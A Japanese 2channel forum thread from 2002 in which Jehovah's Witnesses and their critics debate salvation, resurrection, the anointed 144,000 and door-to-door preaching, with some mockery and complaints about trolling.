681 :折原 誠 ◆3CKPkBXI :02/07/17 01:01
この書き込みを創価公明板の私の掲示板に書き込んだ者は、名乗り出なさい。

11 :名無しさん@お腹いっぱい。 :02/07/16 01:07 ID:xWb87CsM
なんか書いたら?>折原
また逃げるのか?

682 :名無しさん@1周年:02/07/17 01:20
折原うるせえ、バカ

683 :boy's ◆yRaJFlJ. :02/07/17 01:26
>>681
なに命令口調でもの言ってんの。
なに様よ。
あちらこちらで恥さらしてるの、そちらでしょ。
自分で収集つけたら。。。

ああ、前もって言っとくけど私じゃ無いよ。
コテハンでしか書かないから。


684 :名無しさん@1周年:02/07/17 01:32
エホ証どうでもいいけど、もうほかのスレ荒さんといて。
本当に頼みます。君たちから見てサタンなのかも知れないけど、
だからといって、迷惑をかけていいわけじゃないんだよ。
わきまえは最低限持ってください。

折原氏・・・なんですか、
「創価公明板の『私の』掲示板」って。根本から勘違いしてませんか。

685 :名無しさん@1周年:02/07/17 01:36
突然であるが、全国のエホビアンに言いたい。
つまらん本をポストに入れるのはやめてくれっー!
今度入れたら滅ぼすっ!


686 :名無しさん@1周年:02/07/17 01:41
「ふざけるな」としか言いようがないよ。あんたらには。

687 :名無しさん@1周年:02/07/17 01:42
デタラメな聖書解釈を蒔かないでください。

688 :名無しさん@1周年:02/07/17 01:47
エホ証は「荒らす」事が正義なのですよね。
それ、間違っていますよ。

689 :いま:02/07/17 01:49
その通りです。イエスや使徒達が伝えた言葉を曲げないで下さい。みんな狂信しています。かわいそうです(涙

690 :名無しさん@1周年:02/07/17 01:52
言い忘れたが、再度、全国のエホビアンに言いたい。
下らんハンカチを売りに来るのはやめてくれっー!
今度来たら完全に滅ぼすっ!

691 :名無しさん@1周年:02/07/17 03:30
>>690なんか勘違いしてねー?ハンカチなんか売らんわい!!
   




    (偽善の)優しさと笑顔なら売っとるが。

692 :名無しさん@1周年:02/07/17 06:07
>>675 はるまげどん

693 :名無しさん@1周年:02/07/17 08:22
>>672
>自分達だけが救われれば他のものはどうでもよいと。言葉の端々に出ていますよ。
>知っていますか?神は全ての者が救われることを望んでおられるんですよ。ペテロ第二に書かれている通りです

全ての人が至高の神の側に立場を置き、そのような人々が救われるのを神は望んでおられるのです
他の人にもそういう選択ができるよう伝道によって手を差し伸べているのです

ペテロ第二3:9の後半の部分では 「すべての者が悔い改めに至ることを望まれるので、あなた方に対して辛抱しておられるのです」と書かれています
あなた方とは、当時の油そそがれた者たちをあらわしていたのではありませんか
神の民ではあってもまだ進歩や調整が必用な人が居たのでしょう

私個人的には、イザヤ書で学んでいる部分は現役JWが神の”辛抱”に答えるべくさらに進歩し自分の問題点を改善するように促されていると感じています



694 :みちのり:02/07/17 09:12
いまさんへ
イザヤ書の研究に関して、否定的な考えをお持ちのようですね。
聖書の奥義についてあなたがどのように理解されているのか分かりませんが、その一つは、‘約束された胤’を通して、すべての国民を祝福するというものです。
その課程にあるのが、アブラハム契約、律法契約です。その一面を見ると選民思想という言葉はイスラエル人に当てはまります。
しかし、新しい律法契約が効力を持つようになってから、神の民となる機会はすべての人に開かれました。
わたしたちJWは選ばれた国民であるとは考えていません。
昨日の書籍研究で強調されていたのは、個々の人々があがないに信仰を働かせることによって、その益を享受できるというものでした。
しかし、JWの中に選民思想的な考え方を抱いている人がいるのも事実です。そうした人々の信仰は試されるでしょう。
あなたは鋭い考察力という賜物をもっておられます。あなたと個人的に話すことができないのが残念です。

695 :いま:02/07/17 10:16
私の解釈はエホバの証人とも他のキリスト教とも異なるかも知りません。
イエスの贖いの犠牲の祝福とは約束の胤によって、私達が罪と死の律法から解き放たれ永遠の命を得るということだと思います。現にそう書かれています。
エホバの証人は未だ義を得るために律法を「守ろうとして行動」することを教えています。
しかし、律法によっては義と宣せられることはなく、ただ信仰(愛であること)によってのみ義と宣せられます。
なぜなら、全ての律法は愛によって全うされるからです。
この事が聖書全体を通して語られているように思います。

696 :名無しさん@1周年:02/07/17 10:22
>なぜなら、全ての律法は愛によって全うされるからです。
>この事が聖書全体を通して語られているように思います。

まさしくそうだと。
というより、ここをはずしては、神が人に伝えようとされたことが
みな無になってしまいます、よね。

697 :いま:02/07/17 10:32
しかし、エホバの証人は今回の物見の塔研究において、何ら愛の原則に言及することなく、義は愛と深く関わりがありますとしか述べていません。
つまり、根本的なものに気付いていないようなのです。
またこのように考えると、私達の復活とはイエスの教えと人間性に目覚めることだと言えます。
イエスはだれでも新しく生まれなければ神の国に入ることはできないと言われました。バプテスマの本当の意義は、これの象徴的儀式であるということです(所詮儀式にしか過ぎないわけですが)。

698 :いま:02/07/17 10:46
公に宣言することはどこでもできますし、所詮バプテスマは仲間内だけの宣言にほかなりません。
聖書は神の王国はあなたがたのただ中に在るて述べています。これはイエス自身を指して言われたのではなく、ひとの内に在る神の特質である愛を指して言われたのだと思います。
当時目覚めていないパリサイ人に対する諭しだったのです。
そして、イエスはこの事が全世界で読まれることを知っていました。私達に対して言われたのです。
どちらかというと、わたしは正統キリスト教というより、グノーシス的な考え方ですね。

699 :みちのり:02/07/17 10:48
いまさんへ
エホバの証人は律法を守ることにより義と宣せられると教えてはいません。
クリスチャンであろうとなかろうと私たちは日々間違いを犯します。聖書に記されている行動規範をわたしたちは誰しも守ることはできないのです。ですからあがないの犠牲に信仰を働かせる必要があります。
イエスは信仰を持つものは自分の後に従う(その模範に従う)ようにと勧められました。ですから、その模範に習うよう注意を働かせる必要があります。聖書の原則を生活の中で適用する努力を払う事がすべてのクリスチャンに求められています。
信仰と愛を表す事とは厳密にはことなります。(ヘブライ11:1)

700 :名無しさん@1周年:02/07/17 10:52
>>699

玄関先に押しかけることや、福音派牧師やカトリックを攻撃すること、
他宗教のスレを荒らすこととの関連性も、
そこから説明していただけるとありがたいのですが。

701 :名無しさん@1周年:02/07/17 10:55
説明できません

702 :名無しさん@1周年:02/07/17 11:00
>>700
のようなことを、エホ証は「正しい」と思ってやっているのか。
それとも「人間はマチガイをおかす」の範疇なのか。

どっち?まったく悪びれないところを見ると前者だと思うが。
この板の執拗な福音派攻撃・スレ荒らし、無意味な律法違反攻撃スレ
はエホバだろ。レスの中身で微妙に見分けがつくんだよ。

703 :みちのり:02/07/17 11:11
わたしは他の宗教のスレを見たことがありませんので何とも言えませんが、エホバの証人の中に平衡の欠けた見方を持つ人がいるのは事実です。
そうした人はごく少数ですが、他の宗教を攻撃したりスレ荒らしたりするそれらの人々がJW全体に対して偏見を抱かせる原因になっている事に気づいてほしいものです。
そうした行為によって心象を害されている皆様に心よりお詫びいたしたいと思います。

704 :いま:02/07/17 11:20
いいえ、信仰とは見えない実体についての明白な論証です。
見えない実体とは、神の愛のことであり、それを思考・言葉・行為において一致して為すことが論証と言えるでしょう。これが出来たときに始めて律法が成就されるのです。
神は、『わたしは、わたしの律法を彼らの心のなかに置き、それを彼らの思いのなかに書き記す』と言われたではありませんか。
みちのりさんは、律法を守ることは教えていないと言われましたが、今回の記事では義の基準が律法であると述べられています。この点をどう説明されますか。

705 :名無しさん@1周年:02/07/17 11:25
>>703

もうちょっと、真面目に答えていただきたい。
福音派やカトリックへの攻撃を、エホ証は「義認」していませんか?
「人から反感を買うからダメ」というのは理由にならないですよね。
それは単なる教団擁護です。

例えば、霊の実という男性のサイトで、福音派牧師が
実名と写真入りで「サタン」扱いされ、晒されています。
これはエホ証であるあなたにとって、正しい行為ですか?
誤った行為ですか?

706 :名無しさん@1周年:02/07/17 11:27
>>703

>JW全体に対して偏見を抱かせる原因になっている事に気づいてほしいものです。

ここに本音が表れているという気がします。
他の迷惑より、教団の評判なんですよね。はあ〜・・・。

707 :みちのり:02/07/17 11:31
いまさんへ
確かにグノーシス的ですね。という事は文字通りの復活はないというのがあなたの考え方なのでしょうか?(コリント第一15:12-21;使徒24:15)
確かに人間は誰しも霊性を発揮する能力を持っています。しかし、王国があなた方のただ中にあると言われた時の文脈をよく読むならば、それがパリサイ人の心の状態に関して言及しているのでない事は明らかです。

708 :みちのり:02/07/17 11:38
そうした行為は非聖書的であり間違った行為です。それを続ける人は排斥される事になります。

709 :名無しさん@1周年:02/07/17 11:41
> 例えば、霊の実という男性のサイトで、福音派牧師が
> 実名と写真入りで「サタン」扱いされ、晒されています。

わたしたちは特定の個人を「福音派である」との理由で晒すことは
いたしません。もしかしてその方は、非難に値する行ないを何もし
ていないのに悪い扱いを受けているのでしょうか。しかし、何らか
の行動に対して「霊の実」氏が、それは良くない事だ、と感じている
のであればその事を表明するのはずべての人に与えられた「表現の
自由」の範囲内の発言と言えます。

710 :みちのり:02/07/17 11:45
>>706 確かにわたしはエホバの証人ですから、その団体に対する評判は気になりますよ。
わたしが危惧しているのは、他の宗教のを攻撃する人が、自分が正しい事を行っていると勘違いしている事です。まさに彼ら自身が中傷する者(サタン)である事に気づいていないのです。


711 :いま:02/07/17 11:54
イエスは、神の国は目に見えるかたちで来るのではない。見よ、ここを、そこを、というのでもない、と言われました。目に見えないのであれば、イエス自身も目に見えないはずです。
復活というものはないと思います。あなたは神の元々の目的を知っていますか?特定の者の復活はその目的に合致しないのですよ。
神がなぜ創造という行為をされたのか、考えてみて下さい。

712 :名無しさん@1周年:02/07/17 11:58
>>709

カルト問題に取り組んでいる牧師さんですね。
エホ証の信徒を強引に改宗させたという角で訴えられ、
裁判でその牧師が負けています。

>何らか
>の行動に対して「霊の実」氏が、それは良くない事だ、と感じている
>のであればその

エホ証は裁判に委ね、
その結果勝っているわけです。良い、悪いは司法に委ねた。

問題はその先ですね。その牧師を実名と写真入りで晒している。
文脈は正に「サタンを晒す」といった具合でした。

>ずべての人に与えられた「表現の
>自由」の範囲内の発言と言えます。

表現の自由と善悪の判断が別物であることを、宗教者ならば分かると
思うのですが。

なお私は福音派でもないし、その牧師とは縁もゆかりもありません。

713 :みちのり:02/07/17 12:04
いまさんへ
あなたとの聖書の話し合いは興味深いものです。もしよろしければ、jw-m@xmail.toまでメールをいただければと思います。

714 :名無しさん@1周年:02/07/17 12:05
つうか、いまって奴きもいよ。
お前の勝手な解釈を人に押し付けるな。
愛愛ってほざいてるけど、お前はどうやってそれを実践してるんだい?

715 :みちのり:02/07/17 12:48
特定の者の復活はその目的に合致しないとはどのような意味ですか?
あなたはどれくらいの期間、聖書を学ばれていますか?失礼ですが、聖書全体に対する知識が欠けているように思えるのですが・・・

716 :名無しさん@1周年:02/07/17 13:01
>>681
オレだけど何か?

717 :名無しさん@1周年:02/07/17 13:24
みちのりって証人なの?

718 :wildcat:02/07/17 13:51
>>694
JWに「ハルマゲを生き残るのは誰ですか?」って聞いたら100%の人が「エホバの証人だけです!」
って言うと思うよ。そうじゃなかったらJWという宗教でなくても救われることになっちゃうから、
教義と矛盾しちゃうもんね。出版物では直接的な表現こそしてないものの、皆そのように解釈
してると思いますけど?


719 :名無しさん@1周年:02/07/17 14:06
>>718
>JWに「ハルマゲを生き残るのは誰ですか?」って聞いたら100%の人が「エホバの証人だけです!」
って言うと思うよ。

正確には「真のクリスチャン」です  彼らはそれを目指しています
エホバの証人という立場を名乗るだけで救われるのではありません

720 :boy's ◆yRaJFlJ. :02/07/17 14:16
>>719
>正確には「真のクリスチャン」です  彼らはそれを目指しています
>エホバの証人という立場を名乗るだけで救われるのではありません

正確には「自称クリスチャン」です
クリスチャンという立場を名乗るだけでクリスチャンと認められる
わけではありません。

エホバの証人をクリスチャンと認識している人は少ないと思われます。



721 :名無しさん@1周年:02/07/17 14:28
>なぜなら、全ての律法は審理委員会によって全うされるからです。
てこと?

722 :名無しさん@1周年:02/07/17 14:56
世の中には、善い人も悪い人もいます。

エホバの証人の中にも、善い人も悪い人もいます。

しかし、エホバの証人eyeでは、世の中の善い人もひっくるめて
「世の人」として滅びの側に区別しています。

その様な言動をしているにも係らず、世の人間がエホバの証人の中の
犯罪者等の悪い人をひっくるめて「偽りの組織」だと言うと
激しく反論を展開します。

あなた方、エホバの証人は自分達の執っている行動を覚えていないのですか?

723 :名無しさん@1周年:02/07/17 14:58
>あなた方、エホバの証人は自分達の執っている行動を覚えていないのですか?

覚えている人は「無期延期ショック」で出ていきました、まる

724 :名無しさん@1周年:02/07/17 17:03
>>720
>エホバの証人をクリスチャンと認識している人は少ないと思われます。
人の眼にどう映るかはさほど重要ではありません

725 :名無しさん@1周年:02/07/17 17:44
エホバ信者が主催しているチャットルームです。エホバのことならyouにどうぞ。
http://chat.msn.com/chatroom.msnw?rhx=2523E29886E3819FE38293E381BDE381BDE29886&rhx1=%2581%2599%2582%25BD%2582%25F1%2582%25DB%2582%25DB%2581%2599

726 :720ではないが:02/07/17 18:03
>>724
聖書的視点から冷静に分析して、エホ証はクリスチャンではないってこと。
これも重要ではないなかな?

727 :724:02/07/17 20:46
>>726
成長する魔球 大リーグボール 知ってる?
>聖書的視点から冷静に分析して、エホ証はクリスチャンではないってこと。
じゃあ 協会にそのこと教えてあげてね
問題点を改善しながら全体として成長しています
聖書的視点でみるなら完全な意味での組織やクリスチャンなんて存在しないよ どこにも




728 :きんき:02/07/17 21:07
信じる者しか救わない
セコイ神様拝むより・・・って思い出しちった。

729 :いま:02/07/17 21:39
みちのりさんへ
すいません。ちょっとでかけてて。
わたしが言いたいのはいま一部の者だけが生き残るという判断をするのは、早急に過ぎるということです。
神は全ての者が救われることをお望みです。なぜなら、神のそもそもの目的は1互いに愛し合いなさい。2それによって神を愛しなさい。(この順序は不同です)
そして、真のクリスチャンとは特定の組織に属しているものではなく、偽りのない愛によって神の御心を行なうものをいうからです。それは、別の組織にもいますし、ノンクリにもいます。実質的なクリスチャンをいうのだと思います。

730 :いま:02/07/17 21:46
確かに、最終的には全ての者がふるいにかけられるでしょう。
しかし、その選別をたかが人間ふぜいが勝手に決めてしまうのは、傲慢に過ぎます。全ては神のみが知っておられます。

731 :名無しさん@1周年:02/07/17 21:50
>>729
 「それによって」を付けると順不同の注の意味がわからないよ。
【互いに愛し合いなさい】 【神を愛しなさい】
 この二つを並列に並べて、順不同と付記するならわかるけど。
 普通は、「神を愛しなさい」が先にくる。互いに愛し合っている
人々のことは、それによって神を愛していることがわかる客観的な
クリスチャンの生活態度だったりする。

732 :いま:02/07/17 21:55
そうですね。表現が適切ではありませんでした。

733 :名無しさん@1周年:02/07/17 21:57
旧約聖書の記述を見ると、エホ証は、偽りの預言者的な存在で、神に裁かれている
ことが明白だと思うが、どうかな?
教義や発言の歴史を見ると申命記18章20-22節にバッチリ当てはまっているのでは
ないかと思えるのだが。
参考:ただし、その預言者がわたしの命じていないことを、勝手にわたしの名
によって語り、あるいは、他の神々の名によって語るならば、その預言者は死
なねばならない。あなたは心の中で、「どうして我々は、その言葉が主の語ら
れた言葉ではないということを知りうるだろうか」と言うであろう。その預言者
が主の名によって語っても、そのことが起こらず、実現しなければ、それは主
が語られたものではない。預言者が勝手に語ったのであるから、恐れることは
ない。

734 :名無しさん@1周年:02/07/17 22:08
だからといって、すぐにエホ証の信者が滅びるとは自分は言わない。
エホ証をやめて、カトリックやルーテルや改革派教会に赴いて、キリスト教
の姿がどのようなものか、現状を身をもって知っていくのが良いと思う。
そこに真の「愛」がある限り、預言者としての賜物を受けいていると
主張しない信者の内にはまだ、天国への希望がのこされてるよ、きっと。
 エホ証の創立者が埋葬されている墓の近くには、フリーメイソンのシンボルに
似た石碑が記念碑として建っていたりするらしい。そのへんもキリスト教
としては疑問のある在り方だし、何よりイエスキリストの復活を信じ、
言葉を信じて「父と子と聖霊」の名に入れる洗礼を授けていないことは
良くない。復活した主が霊が降るまで「都に留まっていなさい」と言われた
ことや聖霊降臨そのもののことに繋がりを断っているのと同じこと。
これでは、神の御心を行うどころか、律法学者やファリサイ派と同じ事を
しているようなものだ。キリスト教ではないことが明白だ。

735 :名無しさん@1周年:02/07/17 22:12
  ,,v‐v-/l_  (⌒) 
  _「/ ̄  く   /
  lYノノ/_ノl_ヽ))
  <イ( l l )l>  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 <|)'|l、"(フノ|l  < インチキな解釈と理論はいけないと思います!
  ,(ヨリ<>o<>リ']  \_________________
  |ト‐!]-ム- i']l
  ヽ_ノv__l/ /
.  ノ[//‐─‐/_/、
 ( /E|,   (フlヨ \
 ,-| El___lヨ /
└-\`^^^^^^´/
     ̄ ̄ ̄






736 :名無しさん@1周年:02/07/17 23:07



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             `,i‐、..}i  '.;:. ゙ヽ   ヾソ'   .:::::::::::::::::::,.' はるまげ丼一丁
.             / ;. ゙,゙,   ';:  ノ,,、-''"   .::::::::::::::::::,r'   くださいな!
            / ,.'-‐゙'',-,、,i'"゙! "     .::::::::::::::::,r'"',
            / i'r"゙'´` `'''>'      ゙,::::::::::;r':!   ',
.           / .,、'´ ::、 .:,r'"        ゙、:::::'::::::',.   ',
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737 :名無しさん@1周年:02/07/18 01:44
>694みちのりさんへ
「JWが選民であるのではない」とおっしゃっていますが、
1.神は一つの組織をもちいて、ご自分の民を導く。
2.神の組織=エホバの証人。それ以外はサタンの組織
というものみの塔の教理に反していませんか?

738 :724:02/07/18 07:02
>>737
最終的に神の目にかなった者が選ばれる
JWは予備校のようなものだよ

739 :名無しさん@1周年:02/07/18 09:27
>>738
予備校じゃあ行く必要はないね。
漏れは宅浪でいい。

740 :737:02/07/18 09:44
結局のところ、良識的なエホ証にこの手の質問をすると
ものみの塔とは違った答えが返ってくるということを
指摘したかったのです。

「生き残る人は神しか知らない」とかね。
それと、「人間は不完全ですから。。。」
とかさ。
そういう逃れ道を作っておきながら
「霊感によると。。。」
「油注がれた残りのものが。。。」
とか言わんといて下さいよ。
全く反省のない人たちだよね。あんたがたは。

みちのりさん、
ちゃんと答えてね♪


741 :名無しさん@1周年:02/07/18 10:45
イエスはペテン師。
語れ

742 :名無しさん@1周年:02/07/18 11:59
30過ぎて独身、童貞、パート暮らしの兄弟達、
生きてて悲しくならないですか?

743 :名無しさん@1周年:02/07/18 12:16
>>737
わたしたちはエホバの証人である事が救いと直接関連しているとは考えていません。その組織は霊的食物を得るための一つの経路にすぎないからです。
たびたび申し上げたとおり、購いの犠牲に個々の人々か信仰を働かせることによって救われるのです。

744 :wildcat:02/07/18 12:26
>>743
JWという組織に属していなくてもハルマゲを生き残る人もいる、というわけですね。
あんまり嘘ついちゃだめですよ。
少なくとも集会でそういうこと言えないでしょ?
公開講演でそんな話しをする人を私は少なくとも知りません。

745 :名無しさん@1周年:02/07/18 12:53
>>744
>JWという組織に属していなくてもハルマゲを生き残る人もいる、というわけですね。
そういう可能性はあると思いますよ 可能性はね
なぜなら、病気や何らかの理由により神の教えを学ぶことができない人もいるわけです
そうした人を神は”選択的予知力”を行使して組織に属していなくても救われると考えてよいのではないでしょうか


746 :wildcat:02/07/18 13:06
>>745
>病気や何らかの理由により神の教えを学ぶことができない人もいるわけです

ハルマゲ時に、まだ判断力のない子供たちもその範疇には入らないのでしょうか?


全ての国の人々に述べ伝えられなければ終わりは来ないんですよね?
年鑑などをみるとまだJWの人数が少ない国はかなり多いから、まだまだ先っぽいですね。

JWと接する前に死んだ人たちは無条件に復活するんですよね?
そうした人は少なくとも1000年近くは生きていられる。しかも楽園で!
それって不公平じゃないですか?


747 :名無しさん@1周年:02/07/18 13:22
ワイルドキャットさんへ
組織に属してなくても救われます。これは断言します。
私達は救われたいと思って信仰するのでなく、神の主権を
擁護したいと思っているだけです。先に真理を知れた喜びとも
いえます。仮に真理を知らず、ほとんどの人が救われたとしても、
私達はむしろ大きな喜びを抱くことでしょう。神はなんと愛に満ちた
方なんだろうと。今のこの苦しみの時代に真理を知れたということは、
ホントに素晴らしいことであり、希望に満たされ生きていくことがで
きるので感謝の気持ちでいっぱいです。誰が救われるとか、滅びるかな
んて野暮なことは考えませんよ。

748 :wildcat:02/07/18 14:26
>>747
「あなたは組織から離れたのだから滅びるのよ」と言われたことのある2世は多し。
羊か山羊かを分けるために伝道をしてるのだと思ったがあれは記憶違いだったのかな?
(それともまた理解に変更が加えられたのかな?)

749 :みちのり(=743):02/07/18 15:13
Wildcatさんへ
子供もその範疇に含まれますよ。
復活してくる人々には今日と同じように神の真理を学びそれに答え応じるかどうかの機会が差し伸べられます。千年という長い期間に渡って、その機会が開かれているわけではないのです。
羊と山羊に関する理解はかなり前に変更されていますよ。それをわける業は裁きの日に神が行われます。
わたしも幼い頃は、離れたら滅びると言われ続けてきました。その時代のJWはいささか極端でしたね・・・

750 :名無しさん@1周年:02/07/18 15:23
通りすがりですが・・・
エホバの証人の、訪問勧誘うざい。(勧誘とは言わないのかな??)
何回も何回も ホントしつこい。


751 :名無しさん@1周年:02/07/18 15:40
勧誘にあったことがありません。
外人二人組みならあるけど

752 :boy's ◆yRaJFlJ. :02/07/18 15:42
romしています。
ちょっと忙しいので発言は無し。。。(多忙。


753 :いま:02/07/18 16:40
みちのりさんへ
確かに、わたしの復活の理解はだいぶん違うようですね。わたしは、一般に言われているところの復活がどういったものか理解できません。しかし、楽園の到来はあると思っています。詳しく教えて下さい。

754 :名無しさん@1周年:02/07/18 16:44
>>747さん
組織にこだわる必要性は無さそうですね。
間違っても、「王国会館」には誘わないで下さいね。^^

で、一つ聞きたいのですが、「真理」って、ものみの塔の打ち出している
聖書解釈からの教理の事ではないですよね?

755 :名無しさん@1周年:02/07/18 20:04
>>754
真理とは神のみ言葉です。
エホバの証人の場合、油注がれたものを霊的食物をつかさどらせる(多くの訳では:ゆだねる)グループであると認識しています。マタイ24:45-47
しかし、それらの人々の真理を理解しようとする誠実な努力は評価できますが、彼らも他の人と同じように不完全です。
‘ゆだねる’という表現から、その対象が不完全な人間である以上、そのグループの与える食物がいつも完全なものである事を、神が期待しておられたわけではない事が分かります。
エホバの証人であってもなくても、ベレアの人々と同じように聖書を綿密に調べる事によって、真理に対する認識を強めなければなりません。

756 :みちのり(↑も):02/07/18 20:12
いまさんへ
楽園が来る事は信じられているのですね。では、今まで死んだ人には何らかの希望があると思いますか?

757 :みちのり:02/07/18 20:17
いまさんへ 追伸
無理なら仕方ないのですが、もしよろしければjw-m@xmail.toへメールください。

758 :いま:02/07/18 20:35
送ってみたんですけどかえってきました。エラーとかなんとか。アドレス短い気がするんですけど。

759 :名無しさん@1周年:02/07/18 21:02
結局、どこの組織も不完全には変わりがない訳でして・・・

>エホバの証人であってもなくても、ベレアの人々と同じように聖書を綿密に調べる事によって、
>真理に対する認識を強めなければなりません。

別にカトリでも、プロトでも、正教会でも、「聖書を綿密に調べて真理に対する認識を強めればOK」って
事ですね。
たまたま、ものみの塔で学んでいるだけだと・・・そうおっしゃりたいの?かな?


760 :みちのり:02/07/18 21:23
いまさんへ
おかしいですね・・・ほかの方からのメールは届いているのですが・・・アドレスはカキコしたのであっていますよ。

761 :いま:02/07/18 21:34
また送ったんですけどやっぱり無理のようです。仕方ありませんので、このままでかまいませんか?
過去の人々の救済もあると思っています。

762 :名無しさん@1周年:02/07/18 22:37
>>761
いまさんへ  メールのことだけど入力間違えていないかな?
ハイフン ー  とアンダーバー _  は違うと思うよ
あと半角と全角の違いなどないかな?
おせっかい ぴょーん!

763 :いま:02/07/19 00:01
はい。間違っていないようです。おかしいですね。イージーウェブから返ってきたんですけどね。

764 :みちのり:02/07/19 00:18
おかしいですね・・・確かに送れないみたいです。携帯のアドを公開するわけにはいかないですしね。今仕事中なので、返事は後ほどカキコミします。

765 :いま:02/07/19 00:28
すみません。仕事中ですか、こんな遅くまでたいへんですね。頑張ってください。

766 :boy's ◆yRaJFlJ. :02/07/19 01:02
えーと、
私も油を注がれているみたいなので、
エホバの証人さんの持っている14万4000人枠を
14万3999人にしといて下さいな。。。。



と言ったら、どうなるかな?

767 :wildcat:02/07/19 02:15
>>749
>子供もその範疇に含まれますよ

そうだとしても両親がいない楽園でその子供は幸せなんだろうか?
そういう子供がいっぱいいるわけだよね? 俺だったらやだなぁ。

>わたしも幼い頃は、離れたら滅びると言われ続けてきました。その時代のJWはいささか極端でしたね・・

あのー、今現在の話なんですけど・・・。
組織に戻って来いって必死に親が言えば言うほどそのように感じます。

768 :wildcat:02/07/19 02:20
>>766
夕食のギョーザにラー油を注いで食べました。やっぱ夏は辛い物を食って乗り切るに限るね(笑)
よって俺も油注がれた者です(爆)

真面目な話しね。
boy’sさんが来年の春に行われる記念式に出席して、パンとぶどう酒に与ってもカウントは
されないよ。会衆の長老が「この人ならそうかもしれないな」と思わない限り、協会には人数を
報告しないのだそうです(元ちょーろーの父親談)

769 :名無しさん@1周年:02/07/19 04:03
>>746
>全ての国の人々に述べ伝えられなければ終わりは来ないんですよね?
>年鑑などをみるとまだJWの人数が少ない国はかなり多いから、まだまだ先っぽいですね。

エホ証の知人からは「信仰するしないに関係なく、すべての人々に宣べ伝えられれば」終わりが到来というように
聞いたことがあります。つまり勧誘攻撃をすべての人が受けた時点ということになりますね。
それでもどうでしょう、全人口の半数も伝えたでしょうか。伝えてないのでは。
いずれにしても、「もうすぐ来る」って脅すのは大嘘つきですね。
(100年単位の時間をもうすぐだと言われればそれまでですが)

で、かねがね思っていたことです。エホ証の方々への質問というか、アドバイスです。

毎度、近所を歩くのではなく、世界の宣べ伝えられていない地域へ行き、
勧誘してはいかがということなんです。
ウザイキモイと言われながらいつも同じところを回るより、
ひょっとしたら「よく来た」と歓待されるかもしれないじゃないですか。
その上、ハルマゲあぽ〜んの日も近づく。

どうです? まあ、おばちゃん連中は尻込みするだろうけどね。 
若い現役の方々、2ちゃんなんかやってる場合じゃないですよ。
世界へ旅立とう。






770 :みちのり:02/07/19 04:44
そうですね。どちらかと言えば、日本は宣教者を受け入れる側でしたから、今度は日本から必要とされる地域に宣教者を遣わしませう。

771 :みちのり:02/07/19 08:59
いまさんへ
アドを変更してみました。もう一度メールしてみていただけませんか?2002jw@xmail.to

772 :いま:02/07/19 09:55
やっぱりだめでした。アド変えても返ってきてます。

773 :名無しさん@1周年:02/07/19 10:15
>769
いわゆる発展途上と言われる国々では、JWの音信はおおむね
歓迎されるようです。日本からも宣教者が増えていますよ。

774 :名無しさん@1周年:02/07/19 10:55
>>769
まだお前は気触れていると言われるかもしらんが、
現役は2ちゃんなんかみてないだろうと思う。


775 :boy's ◆yRaJFlJ. :02/07/19 11:15
>>768 wildcatさん
主の記念式で、新たにパンとワインを食するのはスゴイと思うけど
食した人を、「あの人は違うでしょ。」と判断するのもね。
その行為を考えるだけでもJWは間違っている気がしますね。


----ぼけモードon----

wildcatさんは、油が注がれた人じゃなくて、油を注ぐ側の人だったんだ。


776 :名無しさん@1周年:02/07/19 11:39
>食した人を、「あの人は違うでしょ。」と判断するのもね。
その行為を考えるだけでもJWは間違っている気がしますね。

同意。
結局、人間の価値基準で物事を進めているくせに、そこに神の
霊感が注がれていると主張する。無茶苦茶だよね。

777 :名無しさん@1周年:02/07/19 11:55
http://tmp.2ch.net/test/read.cgi/company/1026700398/l50

誰がたてたの?

778 :みちのり:02/07/19 11:59
確かに人が判断すべき問題ではないですね。
ただ、正直いって、あなたは違うだろ〜ってツッコミたくなるのも分かります。
真理を学んで間もない人や、行状が模範的でない人がそれに預かるときがあるからです。自分の熱意などを聖霊の働きと勘違いするのでしょう。
いずれにせよ、本人が自分がそうであると述べる場合、記念式で預かることはできます。

779 :めざめ:02/07/19 12:24
>>778
あいまいでいい加減だな。


780 :名無しさん@1周年:02/07/19 12:39
主の記念式ってなんですか?
カトで言うところの聖餐式みたいなものですか?

781 :名無しさん@1周年:02/07/19 13:04
折原って現役なの?

782 :名無しさん@1周年:02/07/19 13:08
預かっても、どうにもならないけどね・・・

783 :名無しさん@1周年:02/07/19 13:20
現役でHP作る奴はくず!!!!!!!

784 :wildcat:02/07/19 14:02
>>769
そうですね、人口の多いインド、中国、バングラディシュ、パキスタンなどアジア地域だけでも
JWが少ない国は多いです。少なくともそれらの国に日本と同じ位の頻度で伝道してなきゃ
「公正・公平」な神であられるエホバが許されない事でしょう。そうですよね?<現役さんへ

>>775
そうなんすよ、最近炒めものの料理ばっかりやってるから、油注ぎまくりですよ(笑)
あくまで自己申告制、なので毎年人数が減らないみたいよ。
ご存知のとおり1935年には集める業は終了してるんですけどね。
最近あずかるようになった人は「反逆した人が出てきたので、その継穂なんだ」というのが
JWの主張ですが、そうだとしても高齢化にともない人数は減らなきゃおかしいんだけどね。

>>779
めざめさんおかえりー。

>>783
そんなことはないよ。ちゃんと書いてあるはずですよ。「個人的なHPでありJWとは関係
ありません」ってね(笑) 表現の自由は尊重してあげなきゃ。

785 :マッチ売りのJW:02/07/19 14:06
マッチポンプ。

786 :boy's ◆yRaJFlJ. :02/07/19 14:27
>>780
>主の記念式ってなんですか?

カトリックの聖餐式に近いですね。
毎年、春ごろ(ニサンの14日)に行われる行事です。

カトリックやプロテスタントはみんなでパンとワインを食しますが、
エホバの証人では、「油が注がれた14万4000人」だけが食べられて
他の人は見るだけかな。。。

違いましたっけ?



787 :名無しさん@1周年:02/07/19 14:29
油が注がれた14万4000人ってどうやって決められるんですか?

788 :名無しさん@1周年:02/07/19 14:33
レイモンドフランズは天的な希望を持っていたのに、
組織から離れるのか。よく分からん。全然油そそがれて
ねーじゃねーか。あいつはエセだ。

789 :名無しさん@1周年:02/07/19 14:58
油注がれた者は終わりの日に初めて開かれる命の書に書かれているもののことだよ。

790 :名無しさん@1周年:02/07/19 15:00
命の書……終わりの日に開かれるってことは
見れないってことですよね。

791 :名無しさん@1周年:02/07/19 15:04
そして、そこに書かれているものは世の始めから決まっているんだ。

792 :名無しさん@1周年:02/07/19 15:13
ひゃ〜見たい!

793 :名無しさん@1周年:02/07/19 15:50
ここはサタンと悪霊の巣窟ですか?

794 :名無しさん@1周年:02/07/19 15:53
>>793 ここにカキコしているのは皆「人間」です。

795 :名無しさん@1周年:02/07/19 15:59
しかし、悪霊が書かせています。

